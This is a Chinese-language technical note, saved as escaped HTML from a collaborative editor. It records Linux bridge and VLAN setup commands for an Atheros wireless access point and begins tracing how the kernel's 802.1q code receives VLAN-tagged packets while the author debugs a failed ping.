&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid5&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: opacity 100ms ease-out; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;brctl delif br0 ath0&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid6&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: opacity 100ms ease-out; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;brctl delif br0 eth0&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line longKeep gutter-noauthor&quot; id=&quot;magicdomid7&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: opacity 100ms ease-out; border-left-color: rgb(255, 255, 255); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;br style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); margin: 0px; padding: 0px;&quot; /&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid8&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: opacity 100ms ease-out; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;vconfig add ath0 555&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid9&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: opacity 100ms ease-out; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;vconfig add eth0 555&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid10&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: opacity 100ms ease-out; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;ifconfig ath0.555 up&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid11&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: opacity 100ms ease-out; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;brctl addbr br555&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid12&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: opacity 100ms ease-out; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;brctl addif br555 ath0.555&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid13&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: opacity 100ms ease-out; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;brctl addif br555 eth0.555&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid14&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: opacity 100ms ease-out; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;ifconfig ath0.555 up&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid15&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: opacity 100ms ease-out; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;ifconfig eth0.555 up&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line longKeep gutter-noauthor&quot; id=&quot;magicdomid16&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: opacity 100ms ease-out; border-left-color: rgb(255, 255, 255); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;br style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); margin: 0px; padding: 0px;&quot; /&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid17&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: opacity 100ms ease-out; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;ifconfig br555 10.0.0.11 up&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line longKeep gutter-noauthor&quot; id=&quot;magicdomid18&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: opacity 100ms ease-out; border-left-color: rgb(255, 255, 255); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;br style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); margin: 0px; padding: 0px;&quot; /&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid19&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: opacity 100ms ease-out; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;Wireless AP mode運作正常，抓無線封包有看到帶了VLAN ID 555.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid20&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: opacity 100ms ease-out; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;不幸的是，我的Wireless STA，不能成功ping到我的AP，只好下去看程式，這邊有幾個部份要看.&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid21&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: opacity 100ms ease-out; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;1. Linux kernel 802.1q&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid22&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: opacity 100ms ease-out; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;2.Wireless driver.(我手邊的是Atheros proprietary LSDK driver，所以這部份內容都不會放上來)&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid45&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: opacity 100ms ease-out; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&amp;nbsp;3.hostapd跟wpa_supplicant.&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid48&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: opacity 100ms ease-out; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid184&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: opacity 100ms ease-out; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&amp;nbsp;Linux的net_dev是用一個list串起來，每個net_dev都有會呼叫ev_queue_xmit -&amp;gt;dev_hard_start_xmit ，去傳送封包至下一步。&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid336&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: opacity 100ms ease-out; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid361&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: opacity 100ms ease-out; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&amp;nbsp;vlan.c::vlan_proto_init()時會invoke，dev_add_pack(&amp;amp;vlan_packet_type);&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid364&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: opacity 100ms ease-out; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 line-list-type-code emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid377&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: opacity 100ms ease-out; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;ul class=&quot;listtype-code listindent1 list-code1&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); color: #979797; font-family: monospace; font-size: 14px; line-height: 1.8; list-style: none; margin: 0px 0px 0px 1.5em; padding: 0px; white-space: pre-wrap; word-break: break-all;&quot;&gt;
&lt;li style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); margin: 0px; padding: 0px;&quot;&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&amp;nbsp;static struct packet_type &lt;/span&gt;&lt;span class=&quot;author-p-263538 b&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&lt;b style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); margin: 0px; padding: 0px;&quot;&gt;vlan_packet_type &lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;__read_mostly = {&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 line-list-type-code emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid374&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: opacity 100ms ease-out; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;ul class=&quot;listtype-code listindent1 list-code1&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); color: #979797; font-family: monospace; font-size: 14px; line-height: 1.8; list-style: none; margin: 0px 0px 0px 1.5em; padding: 0px; white-space: pre-wrap; word-break: break-all;&quot;&gt;
&lt;li style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); margin: 0px; padding: 0px;&quot;&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; .type = cpu_to_be16(ETH_P_8021Q),&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 line-list-type-code emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid375&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: opacity 100ms ease-out; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;ul class=&quot;listtype-code listindent1 list-code1&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); color: #979797; font-family: monospace; font-size: 14px; line-height: 1.8; list-style: none; margin: 0px 0px 0px 1.5em; padding: 0px; white-space: pre-wrap; word-break: break-all;&quot;&gt;
&lt;li style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); margin: 0px; padding: 0px;&quot;&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; .func = vlan_skb_recv, /* VLAN receive method */&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 line-list-type-code emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid496&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: opacity 100ms ease-out; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;ul class=&quot;listtype-code listindent1 list-code1&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); color: #979797; font-family: monospace; font-size: 14px; line-height: 1.8; list-style: none; margin: 0px 0px 0px 1.5em; padding: 0px; white-space: pre-wrap; word-break: break-all;&quot;&gt;
&lt;li style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); margin: 0px; padding: 0px;&quot;&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;};&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid490&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: opacity 100ms ease-out; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;vlan_packet_type()宣告了， type是8021q(0x8100)封包接收時是由它來使用vlan_skb_recv()處理。&lt;/span&gt;&lt;/div&gt;
